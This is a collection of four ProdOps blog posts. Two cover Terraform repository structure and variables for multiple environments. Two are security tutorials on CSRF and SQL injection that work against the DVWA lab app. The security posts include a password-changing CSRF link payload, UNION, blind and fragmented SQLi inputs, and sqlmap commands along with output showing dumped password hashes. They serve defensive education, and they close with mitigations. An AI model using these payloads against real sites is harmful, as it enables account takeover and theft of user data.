Forem: ProdOps

Infrastructure as Code with terraform for multiple environments

Meir Gabay — Thu, 10 Dec 2020 09:35:32 +0000

Working with Infrastructure as Code (IaC) is incredible. Figuring out the correct repository structure, including a CI/CD pipeline, is not so simple.

Here are my two cents on the subject.

Motivation

Using git to audit changes and revert to the previous state
Promoting environments with git's pull-requests (dev-->stg-->prd)
Comfortable maintenance of variables per environment

Offered Structure

To examine a live example visit unfor19/terraform-multienv. This repository can also be used as a template.

.
├── .github
│   └── workflows
│       ├── terraform-apply.yml
│       └── terraform-plan.yml
├── cloudformation
│   └── cfn-tfbackend.yml
├── live
│   ├── backend.tf.tpl
│   ├── main.tf
│   ├── providers.tf
│   └── variables.tf
└── scripts
    ├── prepare-backend.sh
    ├── prepare-files-folders.sh
    └── terraform.sh

Assumptions

Branches names are aligned with environments names, for example dev, stg and prd
The CI/CD tool supports the variable ${BRANCH_NAME}, for example ${DRONE_BRANCH}
The directory ./live contains infrastructure-as-code files - *.tf, *.tpl, *.json
Multiple Environments
- All environments are maintained in the same git repository
- Hosting environments in different AWS account is supported (and recommended)
Variables
- ${app_name} = your-app-name
- ${environment} = dev or stg or prd

Remote Backend

Creating The Resources

This can be done manually in the AWS Console or by using a terraform module, such as cloudposse/terraform-aws-tfstate-backend.

Initially, I used the terraform module, but then I found out I'm stuck in the "chicken and the egg" situation. I'm using terraform to create resources that will save the state of those resources; what?

I found it easier to do this task with CloudFormation, which makes it totally a separate process, and it is done once per environment.

I've created the script scripts/prepare-backend.sh, which creates an S3 bucket for the state file and DynamoDB table for state lock. The script uses aws-cli and deploys the cloudformation/cfn-tfbackend.yml template.

NOTE: Remote Backend resources are created per environment (branch).

Configuration Per Environment

One of the major pain points of this configuration is setting the Terraform Remote Backend per environment. Each environment must have its own "backend settings", and the values must be hard-coded since you can't use variables in the terraform backend code block.

Only one backend may be specified, and the configuration may not contain interpolations. Terraform will validate this. Source

This part was solved by creating a template, which gets modified before executing terraform apply.

live/backend.tf.tpl

terraform {
  backend "s3" {
    region         = "AWS_REGION"
    bucket         = "APP_NAME-state-ENVIRONMENT"
    key            = "terraform.tfstate"
    dynamodb_table = "APP_NAME-state-lock-ENVIRONMENT"
    encrypt        = false
  }
}

The script that applies the modification is scripts/prepare-files-folders.sh. It's using a simple sed command to find and replace AWS_REGION, APP_NAME and ENVIRONMENT. After applying these changes, the file backend.tf.tpl is renamed to backend.tf, making it available to the terraform CLI due to its tf extension.

This script prepare-files-folders.sh has a bigger purpose, and we'll dive into it in a few moments.

Environment Per Branch

One Dir To Rule Them All

The goal is to have a single directory that contains all of the IaC files (tf, JSON, and so on) and then execute terraform apply from this directory. And again, scripts/prepare-files-folders.sh comes to the rescue.

meirgabay@~/terraform-multienv (dev)$ ./scripts/prepare-files-folders.sh 
[LOG] Prepared files and folders for the environment - dev
total 48
drwxr-xr-x   8 meirgabay  staff   256B Dec  9 23:06 .
drwxr-xr-x  19 meirgabay  staff   608B Dec  9 23:06 ..
-rw-r--r--   1 meirgabay  staff   229B Dec  9 23:06 backend.tf
-rw-r--r--   1 meirgabay  staff   775B Dec  9 23:06 main.tf
-rw-r--r--   1 meirgabay  staff    72B Dec  9 23:06 outputs.tf
-rw-r--r--   1 meirgabay  staff    41B Dec  9 23:06 providers.tf
-rw-r--r--   1 meirgabay  staff   1.2K Dec  9 23:06 variables.tf
terraform {
  backend "s3" {
    region         = "eu-west-1"
    bucket         = "tfmultienv-state-dev"
    key            = "terraform.tfstate"
    dynamodb_table = "tfmultienv-state-lock-dev"
    encrypt        = false
  }
}

A new directory dev was created in the project's root directory, and it contains the files that are needed to deploy the infrastructure. The example above is for dev, but the result would be the same for stg and prd; the only thing that really changes is the Remote Backend configuration.

Variables Per Environment

This is where variables and local values come into play.

The variable BRANCH_NAME is assigned to environment, according to the branch that will be deployed with terraform apply. The CI/CD process sets the value of BRANCH_NAME (we'll get to that).

BRANCH_NAME=dev
$ (dev) terraform --apply -var environment="$BRANCH_NAME"

live/variables.tf

variable "environment" {
  type        = string
  description = "dev, stg, prd"
}

variable "cidr_ab" {
  type = map
  default = {
    dev = "10.1"
    stg = "10.2"
    prd = "10.3"
  }
}

locals {
  vpc_cidr = "${lookup(var.cidr_ab, var.environment)}.0.0/16"
}

live/main.tf

module "vpc" {
  source             = "terraform-aws-modules/vpc/aws"
  cidr               = local.vpc_cidr
  # omitted arguments for brevity
}

NOTE: I prefer using local values in my resources and modules instead of variables. I even wrote a blog post about it. It's not mandatory, but I consider it as best practice.

CI/CD

This part is fully covered in the README of terraform-multienv. This is an abstract of the whole process.

Deploying the infrastructure - Commit and push changes to your repository

   git checkout dev
   git add .
   git commit -m "deploy dev"
   git push --set-upstream origin dev

CI/CD service (GitHub Actions in my case) is triggered
- On pull-request to stg or prd, trigger terraform-plan.yml
- On push to dev, stg, prd, trigger terraform-apply.yml
Promote dev environment to stg
- Create a PR from dev to stg
- The plan to stg is added as a comment by the terraform-plan pipeline, here's an example
- Merge the changes to stg, and check the terraform-apply pipeline in the Actions tab

Alternatives

Terraform Cloud - Integration to git repository, the "environment" is referred as Workspace
terragrunt - Provides extra tools for keeping your configurations DRY, working with multiple Terraform modules, and managing remote state

References

Final Words

You might have noticed I didn't mention anything about scripts/terraform.sh. Since you've got this far, you deserve to know what it does

terraform init
terraform plan - save the plan to a markdown file plan.md
terraform apply - run only if the plan contains changes

I hope you find this useful, and if you do, don't forget to clap/heart and share it with your friends and colleagues.
Got any questions or doubts? Let's start a discussion! Feel free to comment below.

Originally published at meirg.co.il on December 10, 2020

MVC design pattern in Terraform

Meir Gabay — Mon, 14 Sep 2020 12:33:18 +0000

In this blog post, I'm going to share how to use Input Variables a.k.a variables, and Local Values a.k.a locals, to form a well-maintained infrastructure in Terraform while following the MVC design pattern.

The Approach

Local Values (Model) are altered behind the scenes by architects, regardless of the application's Modules and Resources (View)
Modules and Resources (View) are implemented according to the Local Values (Model)
Input Variables (Controller) get user input and manipulate the Local Values (Model). These changes are reflected in Modules and Resources (View)

	Description (Source)	In Terraform
Model	Managing the data of the application	Local Values
View	Presentation of the model in a particular format	Modules and Resources
Controller	Receives the input, optionally validates it, and then passes the input to the model	Input Variables

Input Variables (Controller)

Mainly used for getting a dynamic input from architects and CI/CD processes. Here's a classic snippet of how Input Variables are used

variables.tf

variable "app_name" {
  type = string
}

variable "region" {
  type = string
}

variable "environment" {
  type        = string
  description = "dev, stg, prd"
}

Avoid setting default values to "information variables". This enables other architects (or future you) to use the same Infrastructure-as-Code (IaC), without worrying about predefined names. Examples:
- app_name
- region
- domain_name
Set default values to "infrastructure and application variables". Examples:
- desired_tasks = 1
- firewall_enabled = true
- docker_image = "nginx:1.19.2"

Variables As Maps

The combination of Input Variables, the default attribute, and the lookup function is amazing. For example, according to a given value, environment, get the relevant default value from a map. A more practical example:

variables.tf

variable "environment" {
  type        = string
  description = "dev, stg, prd"
}

variable "cidr_ab" {
  type = map
  default = {
    dev = "10.1"
    stg = "10.2"
    prd = "10.3"
  }
}

main.tf

module "vpc" {
  source             = "terraform-aws-modules/vpc/aws"

  # Later on we'll set cidr to a Local Value
  cidr               = "${lookup(var.cidr_ab, var.environment)}.0.0/16"

  # ... removed other attributes for brevity
}

Local Values (Model)

Any value that has even the slightest chance of changing in the future should be set to a Local Value. This means that most of the IaC will include Local Values. Terraform's official docs recommendations:

... if overused, Local Values can also make a configuration hard to read by future maintainers by hiding the actual values used ... Use local values only in moderation, in situations where a single value or result is used in many places, and that value is likely to be changed in the future. The ability to easily change the value in a central place is the key advantage of local values.

Local Values are "overused" to make the code modular and easier to maintain. To share the true powers of this approach, here's another practical example:

main.tf

module "vpc" {
  source             = "terraform-aws-modules/vpc/aws"
  version            = "~>2.0"
  name               = local.prefix
  cidr               = local.vpc_cidr
  private_subnets    = local.private_subnets
  public_subnets     = local.public_subnets
  azs = local.availability_zones

  tags = local.tags
}

Do you realize what this means? it's possible to manage all the values in a single place

variables.tf

# Input Variables (Controller)
variable "app_name" {
  type = string
}

variable "region" {
  type = string
}

variable "environment" {
  type        = string
  description = "dev, stg, prd"
}

variable "cidr_ab" {
  type = map
  default = {
    dev = "10.1"
    stg = "10.2"
    prd = "10.3"
  }
}

# Local Values (Model)
locals {
  prefix   = "${var.app_name}-${var.environment}"
  vpc_cidr = "${lookup(var.cidr_ab, var.environment)}.0.0/16"
  public_subnets = [
    "${lookup(var.cidr_ab, var.environment)}.1.0/24",
    "${lookup(var.cidr_ab, var.environment)}.2.0/24",
  ]
  private_subnets = [
    "${lookup(var.cidr_ab, var.environment)}.10.0/24",
    "${lookup(var.cidr_ab, var.environment)}.20.0/24",
  ]
  availability_zones = ["${var.region}a", "${var.region}b"]

  tags = {
    "Environment" : var.environment,
    "Terraform" : "true"
  }
}

Practical implementation

I've created a GitHub repository that implements the described MVC design pattern in Terraform. This repository also includes a CI/CD process for promoting environments. Here it is:

unfor19 / terraform-multienv

A template for maintaining a multiple environments infrastructure with Terraform. This template includes a CI/CD process, that applies the infrastructure in an AWS account.

terraform-multienv

A template for maintaining a multiple environments infrastructure with Terraform. This template includes a CI/CD process, that applies the infrastructure in an AWS account.

environment	drone.io	GitHub Actions	Circle Ci	Travis CI
dev
stg
prd

Assumptions

Branches names are aligned with environments names, for example dev, stg and prd
The CI/CD tool supports the variable ${BRANCH_NAME}, for example ${DRONE_BRANCH}
The directory ./live contains infrastructure-as-code files - *.tf, *.tpl, *.json
Multiple Environments
- All environments are maintained in the same git repository
- Hosting environments in different AWS account is supported (and recommended)
Variables
- ${app_name} = tfmultienv
- ${environment} = dev or stg or prd

Getting Started

We're going to create the following resources per environment
- AWS VPC, Subnets, Routes and Routing Tables, Internet Gateway
- S3 bucket (website) and an S3 object (index.html)
- Terraform remote backend - S3 bucket and DynamoDB table
Create a new GitHub repository by…

View on GitHub

Final Words

Protect your application from CSRF attacks

Omer Hamerman — Mon, 25 May 2020 14:45:20 +0000

Cross-Site Request Forgery attack and mitigations explained
Originally published at https://omerxx.com/csrf-attacks

"CSRF is an attack that forces an end user to execute unwanted actions on a web application in which they are currently authenticated. With a little help of social engineering (such as sending a link via email/chat), an attacker may force the users of a web application to execute actions of the attacker's choosing."

- DVWA

TL;DR
CSRF is as easy to attack as it is easy to protect from! There's no reason any web-facing application should not implement the relevant protection. Lots of known frameworks have it built in as a feature or an opt-in and on some it is offered as a middleware. CSRF will probably die in the next few years, when all modern browsers will adopt default same-site cookies protection. However, until that actually happens, web applications are exposed, and for no good reason.

In this post I'm going to quickly go over the basics, mitigations and then take a deep dive into a hands-on lab. The latter is obviously not a must for mitigation. But stick around if you want to get your hands dirty and get a more firm grasp of the attack vector.

What is it

Cross Site Request Forgery, "CSRF", or "XSRF", is a common vulnerability in web applications. It involves sending malicious requests from an external domain to the backend server, performing actions in the victim's name. The attack assumes a valid cookie from an authenticated victim.

Delivering the exploit involves some social engineering methods where a victim is tricked into visiting a URL or clicking a button on an HTML document. These can be shared via email, instant messaging and various other techniques.

If the attack is successful when the victim visits the malicious link it uses his session cookies to perform an action, usually without him being aware of it.

As an example consider this request:

http://bank.com/account/update?password='attackerPassword123'

If an authenticated user clicks the link, assuming his cookies for bank.com are still unexpired, his bank account password will change with the attacker's password. While this is a naive GET request, the attack is not limited to this method alone. It can be done with POST requests which are can be chained with stored XSS vulnerabilities to increase the attack surface and success rate.

Modern browsers adhere to the same-origin-policy restriction. They assume applications can only send requests to each other within their domain. In order to extend the restriction, applications use CORS headers. For example, the next header allows all domains to send HTTP requests to the server (and it is therefor highly UNrecommended):

Access-Control-Allow-Origin: *

More often than not there's a communication of requests between different services of an application. This requires extending the origins that are allowed to communicate with the backend app. However, many developers choose to solve the problem by setting * in the CORS header, effectively allowing anyone to communicate with them.

Note: SOP (same-origin-policy) and CORS do not prevent requests from reaching the server, they prevent a response. For this reason, CSRF is exploiting known state-changing requests and does not expect an answer.

Why it's important to know

First, because it's a relatively easy and common way for a low-skilled attacker to exploit the application's users. An example of a malicious action can be changing a user's email address or password, effectively overtaking an account. While the business risks differ it's pretty obvious why would any developer want to avoid the risk, especially knowing the simple steps to mitigation.

Mitigations

Token-based - One of the common ways and definitely the most robust one is the use of a token. Upon user request, the application generates a unique token that's added to the form as a hidden field. When the user sends the form back, the server is validating its authenticity by comparing the token to the one he had generated earlier.

"The server generates a token comprised of the user's session ID and timestamp (to prevent replay attacks) using a unique key available only on the server. This token is returned to the client and embedded in a hidden field for forms, in the request-header/parameter for AJAX requests. On receipt of this request, the server reads and decrypts the token value with the same key used to create the token."

- OWASP, CSRF Prevention, Encryption based

CSRF tokens should not be transmitted using cookies. If they would, the exploit will still be valid as it assumes the cookie through the victim, essentially using the generated token too.

Origin Validation - Using Origin or Referer headers, the application can validate the source of a request. This is not considered a high standard of protection as it is still exposed to stored XSS vulnerabilities. If a user manager to inject a malicious script in a vulnerable location on the application, the script will bypass the protection since it'll be triggered from within the domain name.
Prevent cross-site-scripting (XSS) - This is a topic of an entire post on its own but I'll keep it short. Use a protection library if possible, and read through the OWASP XSS prevention cheat sheet. Search and block all kind of scripting to fields, treat them all as texts, or escape as much as possible. Rule of thumb: escaping will never cover ass possibilities if possible avoid.

So, let's get back to earth. There's no need to invent the wheel. Most of the well-known web frameworks and CMS products out there have already done the work for you, or there's a community solution. Here's a partial list you can use to implement CSRF protection:

Tech	Framework	Comments
Python	Django, Flask
Ruby	Rails, Middleware	The middleware is a standalone gem
Javascript / Typescript	Nest, Express, Helmet	Helmet is a standalone library
Golang	Buffalo	Buffalo `form` is implementing tokens by default

Let's get technical

For the getting-my-hands-dirty part I'm going to use DVWA. If you want to follow this section it's important to setup DVWA on your local machine (instructions below) and follow closely each step both in the post and in DVWA. Here's how to set it up:

docker run --rm -it -p 8080:80 vulnerables/web-dvwa

# The login screen would be @ http://localhost:8080
#
# While the login can be brute-forced, let's keep things simple for now:
# 1. Login - User: "admin", Password: "password"
# 2. Click "Create / Reset Database"
# 3. You're all set. Login again.

When in DVWA interface, select the CSRF module. The instructions below demonstrate all security levels offered by DVWA. In order to change security levels select DVWA Security from the left-hand-side menu, select the preferred level, and hit Submit.

Security level: Low

We're presented with a password and confirmation text box. Providing value and clicking the button fires a request to the server. We can use a proxy or the browser's dev tools to view the password change request:

GET /vulnerabilities/csrf/
  ?password_new=pass
  &password_conf=pass
  &Change=Change HTTP/1.1

The application seems to send the password and its verification as URI params. Since there is no Access-Control-Allow-Origin header set, and GET requests do not require any additional preflight requests of verification like POST, we're good to go. In order to exploit it, a simple social engineering is required. The attacker can build a simple HTML page with a link that leads to the GET request. The idea is, that the target is authenticated to the application with their cookies set. If that's the case, the request will go through, authenticating with the backend automatically since the cookies are already there. Here's an example for the page that can be embedded into an email message:

<html>
    <a href="http://192.168.0.10:8000/vulnerabilities/csrf/
            ?password_new=hacked
            &password_conf=hacked
            &Change=Change">
    View my Pictures!
  </a>
</html>

Security level: Medium

The hint by DVWA says:

"The developer believes if it matches the current domain, it must have come from the web application so it can be trusted."

Which means, the request needs to come from the same domain. But if there's a user-interactive system running under the same domain, where a user can POST input and see it, is it really safe?

Here comes in the XSS exploit: only allowing traffic from your own domain is not a bulletproof solution. If you have some kind of system that users interact with, say, a forum, they can post stuff for others to see. If they’re able to exploit it and inject a script (XSS) and others view it, the attacker will be able to bypass the protection of the same-domain setting and still launch the CSRF attack on others.

Trying to use a form here won't do any good since the application blocks any incoming request from an external domain and shoots out:

That request didn't look correct.

In order to make the request originate from the domain, we need to use some kind of script injection to the application pages. As an example: a script / html component that will be loaded and run by the app.

rXSS to the rescue!

Utilizing a reflected XSS bug in the web app allows bypassing the origin verification. With XSS (Reflected) on the menu of DVWA, any name inserted is presented on the screen to the user. HTML tags are not escaped so we can utilize the exact same line from the low-security level:

<a href="http://192.168.0.10:8000/vulnerabilities/csrf/
        ?password_new=hacked
        &password_conf=hacked
        &Change=Change">
  View my Pictures!
</a>

When served, it generates a clickable link. The link can then talk to the application from its own origin, using the cookies that are already stored since the user is already authenticated.

In order to serve the HTML we can set up a private local web server, or as a malicious attacker would do it, send it as an email. With a little help from social engineering, the victim can be lured into opening the mail and hitting the form in it.

In order to test, we can create the HTML file and run it on a local browser providing our input in the form, where we get:

Password Changed.

Security level: High

If we use the same form used in the "Medium level" section above, we end up with the next:

CSRF token is incorrect

What is a CSRF token anyway?

A CSRF token is a unique, secret, unpredictable value that is generated by the server-side application and transmitted to the client in such a way that it is included in a subsequent HTTP request made by the client. When the later request is made, the server-side application validates that the request includes the expected token and rejects the request if the token is missing or invalid.
CSRF tokens can prevent CSRF attacks by making it impossible for an attacker to construct a fully valid HTTP request suitable for feeding to a victim user. Since the attacker cannot determine or predict the value of a user's CSRF token, they cannot construct a request with all the parameters that are necessary for the application to honor the request.

- Portswigger

So the application is protected by a CSRF dynamic token. How can one exploit it anyway?

Using a similar method from the medium level, we now utilize a DOM XSS, using the XSS (DOM) option from the menu. What this means, is that we can run a javascript that's accessible to the browser's DOM. Access to the DOM allows us to programmatically fetch the CSRF token, effectively making it useless.

While I'm not going to go through the process of creating a DOM XSS on DVWA, here's a video that shows the entire exploit. I do think it's important to understand the risk of being exploited with scripts that can access the DOM, and keep these in the back of your mind when developing the frontend of your application.

Once the CSRF token is in our possession we can go ahead and use the same form to exploit our victim. The key takeaway from this level is the understanding of how additional seemingly low-risk vulnerabilities, can be chained together into a much-higher-risk attack.

General tips for preventing XSS and CSRF and safer coding

<script>...NEVER PUT UNTRUSTED DATA HERE...</script>

<!--...NEVER PUT UNTRUSTED DATA HERE...-->

<div ...NEVER PUT UNTRUSTED DATA HERE...=test />

<NEVER PUT UNTRUSTED DATA HERE... href="/test" />

<style>
...NEVER PUT UNTRUSTED DATA HERE...
</style>

Never **ever** use GET requests to change data!
POST is the right method here. Not only it requires a structured request, 
it only utilized preflight requests hat help enforcing same-origin-policy and more.

If you got here, thank you first of all for reading this far. I hope I've helped you understand the risk and maybe even how to exploit it (I know I helped myself). This post was part informational, part notes I've taken trying to dive into the subject. I hope that while it was somewhat a "notebook" structure, it was still valuable and readable. If you have any comments/ideas please do let me know.

SQL injection for developers

Omer Hamerman — Tue, 05 May 2020 16:41:50 +0000

Originally published at https://omerxx.com/sql-injection-intro

The basics of how to test and protect your application

SQL Injection (SQLi) accounted for more than 72% of all attacks when looking at all verticals during (2018-2019) period.
- State of the internet 2019, Akamai

The quote above says it all. If there's one attack vector to get familiar with as a web developer it's an injection and this one in particular. On the OWASP top 10 list injections are ranked first with SQL staring high. The infamous SQLi is very common, easy to automate and can create a lot of unrepairable damage.

This post is a personal attempt at getting to the bottom of something I needed to know. I repeatedly tried picking it up with gists and short videos but it didn't go "all the way down". Getting to know SQL injection means sitting down, reading the docs and getting your hands dirty with payloads. The syntax with small and various escaping, together with poking at old SQL brain cells took a bit of an effort. A part of this effort is getting this post written.

Having that said, it's important to mention that SQL injection (from here on would be referred to as SQLi) is a simple concept with many flavors. How many? as many as SQL DB flavors out there, throw into a matrix of different webforms and developer mistakes.

What is it

SQL Injection (or SQLi in short) is a way of infiltrating a web application data without compromising the host itself. It allows the attacker to pull data from the database and in some cases source code and other sensitive information.

Performing the attack requires a very simple "hacking tool": your browser, making it accessible and easy both to learn and perform.

There are different kinds of SQLi vectors. The most common ones involve an HTTP request from the client's browser. So, where the developer intended for the user to provide a simple input e.g. User ID, an attacker may try to inject an SQL statement. Instead of providing 1 for example, consider this input:

 1' UNION SELECT password FROM users UNION SELECT '1

If the backend code was not thought of in the context of an injection, it may be exploitable to such a query. The result is an extraction of database information through a simple web form. If successful, the attacker doesn't need to gain access to the physical server. The data is extractable and available in a "legitimate" manner.

How to attack

In order to set up a live example, I'm using the infamous Damn Vulnerable Web Application. It's available in different forms but for the sake of demonstration and speed, let's pick the quickest one with Docker:

docker run --rm -it -p 8080:80 vulnerables/web-dvwa

# The login screen would be @ http://localhost:8080
#
# While the login can be brute-forced, let's keep things simple for now:
# 1. Login - User: "admin", Password: "password"
# 2. Click "Create / Reset Database"
# 3. You're all set. Login again.

Poking for holes

Select the "SQL Injection" module from the menu.
Trying to play with possible inputs, we can see the requested parameter is a user ID, so, the first option can be 1:

1

# ID: 1
# First name: admin
# Surname: admin

Seems like we're being responded with three fields: ID, First name and Surname.
Let's try an escape by providing ':

'

# Output:
# You have an error in your SQL syntax; check the manual that
# corresponds to your MariaDB server version for the right
# syntax to use near ''''' at line 1

This response is valuable information here. When the application returns an error with the error message relayed from the backend, the attacker is getting live feedback to different attempts which can be used for adjustments.

Sometimes, as a defense mechanism, applications return a generic error message without any informative message. Still, the attack can be executed and is called a "blind SQL injection". More on that further on.

Back to our injection quest. After using ' the app returned a useful message mentioning an error near '''''. Looks like the injection is valid and the response from the DB engine is visible. This means we can try different methods and get visible feedback.

The SQL UNION statement is a common helper. Using that, the attacker can unify additional information with the results and return them together. We'll try to run the next:

1' UNION SELECT '2

# Output: The used SELECT statements have a different number of columns

First, let's review the input:

1' means "end the statement with 1 and close it with an apostrophe". Exactly for this reason; of being able to terminate a logical part of an SQL query, ' are dangerous when not escaped correctly.
UNION SELECT '2 is a UNION statement that selects a number and opening another ' to pair with the one waiting at the end of the statement in the backend code.

Now we know the UNION may work with a few tweaks. When calling an SQL statement with UNION the DB engine tries to unite the results to one set. In order to do that all parts must have the same column number so they can be unified.

Let's expand the test and provide an additional column:

1' UNION SELECT 1,'2

# ID: 1' UNION SELECT 1,'2
# First name: admin
# Surname: admin
# ID: 1' UNION SELECT 1,'2
# First name: 1
# Surname: 2

Boom! The injection works. Still, this is not a real extracted data. We have to find our way around the schemas in order to have something meaningful, but this is definitely promising.

Step one is getting the DB name to query tables from:
```
1' union select 2, table_schema from information_schema.tables
   union select 3,'4
```
This yields three sets with the databases name under "Surname": "admin", "dvwa", "information_schema".
We're interested in dvwa, so we'll pick that and query its schema:
```
1' union select 2, table_name from information_schema.tables
    where table_schema = 'dvwa' union select 3,'4
```
The query yields table names: "admin", "users", "guestbook"
"Users" table is a usual immediate suspect that holds interesting data like usernames, passwords and other Personal Identifiable Information (PII). We'll query that (feel free to tinker with the requests and query all available information):
```
1' union select 2, column_name from information_schema.columns
    where table_name = 'users' union select 3,'4
```
We're responded with a list of column names. "user" and "password" seems like the interesting ones.

We go on and make a direct query to the "users" table:

1' union select user, password from users
   union select 1,2'
# ID:  1' union select user, password from users union select 1,2'
# First name: admin
# Surname: admin
# ID:  1' union select user, password from users union select 1,2'
# First name: admin
# Surname: 5f4dcc3b5aa765d61d8327deb882cf99
# ID:  1' union select user, password from users union select 1,2'
# First name: gordonb
# Surname: e99a18c428cb38d5f260853678922e03
# ID:  1' union select user, password from users union select 1,2'
# First name: 1337
# Surname: 8d3533d75ae2c3966d7e0d4fcc69216b
# ID:  1' union select user, password from users union select 1,2'
# First name: pablo
# Surname: 0d107d09f5bbe40cade3de5c71e9e9b7
# ID:  1' union select user, password from users union select 1,2'
# First name: smithy
# Surname: 5f4dcc3b5aa765d61d8327deb882cf99
# ID:  1' union select user, password from users union select 1,2'
# First name: 1
# Surname: 2

And there it is: a list of all users and password existing. Surprisingly (or not), passwords are in clear text and not even hashed as they should be.

Security Level: Medium

Raising the DVWA security level under "DVWA Security" -> choose Medium.
This time, instead of a plain form, we find a dropdown list with certain users to choose from. Checking the browser dev tools tells us the POST request is being sent with two parameters: id=1&Submit=Submit. Since there are more than a handful of headers we can use any kind of interceptor to catch the request and repeat it with different parameters. One favorite option is BurpSuite.

Quick setup to intercept with BurpSuite

Set your requests to go through a proxy; with Firefox this is easy as going to Preferences --> Advanced --> Network Settings --> Manual Proxy Configuration and setting all protocols to go through 127.0.0.1:8080 (BurpSuite's default)
Go to BurpSuite Proxy tab and set intercept on. The next request coming out of Firefox should be stopped at BS where you can decide to stop, forward or drop it
Go to DVWA SQLi page, choose an ID from the dropdown and click Submit. The request should be waiting on BurpSuite, where we can then send it to Repeater through the Actions menu.

Poking at the server by playing with the id of the POST request reveals an escape character in the form of \. So whenever a special char like ',#,-,$ appears it's being escaped. However, not being able to use special chars, does not prevent a UNION injection with the exact same syntax:

1 UNION SELECT user, password FROM users

That's it. No escaping at all. The backend code already wraps it and fetches everything within the command fully.

Security Level: High

The last security level shows a link that pops up another window with a form that controls the request. Playing around with previous escapes shows that the code is "better" here but it still has a glitch. Comments are a good way to escape the rest of the line:

SELECT something FROM sometable # WHERE ...

# Will translate into the SQL query
SELECT something FROM sometable

There are different options for commenting SQL lines, common ones are --, #, /* - multiline that ends with */.
In the "real world" those are useful in describing code:

SELECT name -- this is the name
  FROM users -- users table
  WHERE name="DAN" -- Dan is the CEO

When it comes to SQLi, comments help ignore the rest of the code that follows, so consider this PHP code:

// Check database
$query  = "SELECT first_name, last_name FROM users
            WHERE user_id = '$id' LIMIT 1;";

The query is LIMITed to a single result making it hard to pull a large set of data, ignoring the LIMITation can by pass it:

# First input:
1 UNION SELECT user,password from users

# Translates to
SELECT first_name, last_name FROM users
  WHERE user_id = '1 union select user,password' LIMIT 1;

Since the query result is limited to one set, it will constantly return first_name, last_name, ignoring the UNION.
Let's try again then:

1 UNION SELECT user,password from users#

# Limitation ignored
SELECT first_name, last_name FROM users
  WHERE user_id = '1 union select user,password FROM users';

Blind SQLi

A blind SQL injection is used when the application does not return the SQL error but is still vulnerable to the attack. This is virtually the same scenario as a normal SQL, but the attacker has to figure out if the vulnerability exists using a series of true / false tests. Another method is time-based. By sending SLEEP within the query, based on the time it took for the response to appear, the attacker can tell whether an answer is positive or not.

Time-based blind SQL injection relies on the database pausing for a specified amount of time, then returning the results, indicating successful SQL query executing. Using this method, an attacker enumerates each letter of the desired piece of data using the following logic:
If the first letter of the first database’s name is an ‘A’, wait for 10 seconds.
If the first letter of the first database’s name is an ‘B’, wait for 10 seconds. etc.

- Blind SQL Injection - OWASP

Let's test the DVWA blind SQLi module with the low security level. With the simple input 1 the system returns User ID exists in the database. With bad input like ' the response is 404 with a message User ID is MISSING from the database.

The next step is playing around to see if a boolean attack is optional:

# Input
'1 AND 1='1

>> User ID exists in the database.
# Ok, that was supposed to be a truthy signal.

# Input
'1 AND 1='2

>> User ID is MISSING from the database.
# Good! It seems a boolean-based blind attack is valid

From here on, it's a matter of separating known results into false/positive statements from which the attacker can derive answer. For example:

# This input returns 404
1' and (select user from users where user_id=1)='test' and 1='1

# However this is successful
# This means the name is 'admin' where user_id = 1
1' and (select user from users where user_id=1)='admin' and 1='1

Fragmented SQLi

A lesser-known method, but nonetheless effective can be useful when certain characters like ' are escaped, but the user can control two different fields. The obvious example is a login page. When a string is escaped by the application for example with \, the attacker may circumvent it by created his own escape like so:

username: \
password: or 1 #

$query = select * from users where username='".$username."'
          and password='".$password."'";

This translates to:

select * FROM users where username='\' or password=' or 1 # ';

The backslash escapes the following single-quote, creating a situation where the application reads the username value like so: '\' or password=' or 1 # '. The statement above will always return true. The hash # makes sure its following command section is ignored as a comment.

Automating things with sqlmap

One has to get familiar with the different techniques to handle different situations. But, rewriting payloads and remembering all the options is hard if you're not an expert. Human errors and false-positive we may miss can also interfere. Sqlmap can help.

sqlmap is a CLI tool that automates the scan and provides relevant information. If possible it can grab information from the DB like database names and even tables. It will also identity blind-SQLi and report optional techniques (boolean or time based).

Here's a simple operation of it on DVWA blind SQLi level

# Scanning the full form path with parameters
# Note how cookies are also passed to the scanner for authentication
sqlmap -u "http://localhost:8000/vulnerabilities/sqli_blind/?id=1&Submit=Submit#"
      --cookie="PHPSESSID=abcd;security=low"
      --dbs

sqlmap resumed the following injection point(s) from stored session:
---
Parameter: id (GET)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: id=1' AND 5756=5756 AND 'XWif'='XWif&Submit=Submit

    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: id=1' AND (SELECT 5198 FROM (SELECT(SLEEP(5)))xyFF)
                   AND 'lswI'='lswI&Submit=Submit
---
available databases [2]:
[*] dvwa
[*] information_schema

The scanner found both the vulnerability and the fact it has to be attacked blindly. It suggests payloads and presently available databases that can be used:

# Running the same scan with a -D for db name
# and --tables to enumerate the dvwa db
sqlmap -u "http://localhost:8000/vulnerabilities/sqli_blind/?id=1&Submit=Submit#"
      --cookie="PHPSESSID=abcd;security=low"
      -D dvwa
      --tables

Database: dvwa
[2 tables]
+-----------+
| guestbook |
| users     |
+-----------+

Defence

"ORM" - A common belief is, that a good way of dealing with SQLi is using an ORM layer. Not only an ORM provides data structure management, but it also takes away the responsibility of building raw database queries. This is usually helpful; transferring the responsibility of making queries to more experienced hands make sense. But it should not be done blindly. While an ORM is usually a, it is not an SQLi security solution. An ORM can easily turn in to a double-edged sword. If breached, the ORM may turn into a world scale SQL injection hole. ORM users must get familiar with injection methods and test their own applications.

"I would say it is a baseline expectation for any ORM, yes. which is likely why it's not mentioned in docs -- it's assumed, so long as you use the ORM's core API or query builder.
and that's where the caveat is... ORMs provide many ways to construct a database query, but they also give you the option/flexibility to write 'raw,' do-it-yourself queries as a string... or they allow you to write some part of a generated query as a raw string. obviously you want to avoid doing this, as it kinda defeats the purpose of using an ORM... but there is a case for it every now and again."
- TypeOrm Issue reply by @feather-hmalone

WAF - A web application firewall can be a great help by filtering incoming suspicious requests such as those of an SQLi, or cross-site scripting payloads. These too, rely on the power of their rules and can be bypassed if not implemented correctly.
Self-defence - Building things with best practice in mind is a good direction. It sounds obvious, but it really isn't. Best practice mentality is great but it doesn't mean that every responsibility can be offloaded to a different layer. When it comes to security, especially to a vector that's responsible for the bast majority of web data leaks, one should know how to self defend. Familiarizing oneself with the attacks and the tooling can make the difference of a sensitive information leak.

I hope that by now you're more familiar with SQLi risks and mitigations. Having attack vectors in mind helps us developers and operations protect the systems under our responsibility.

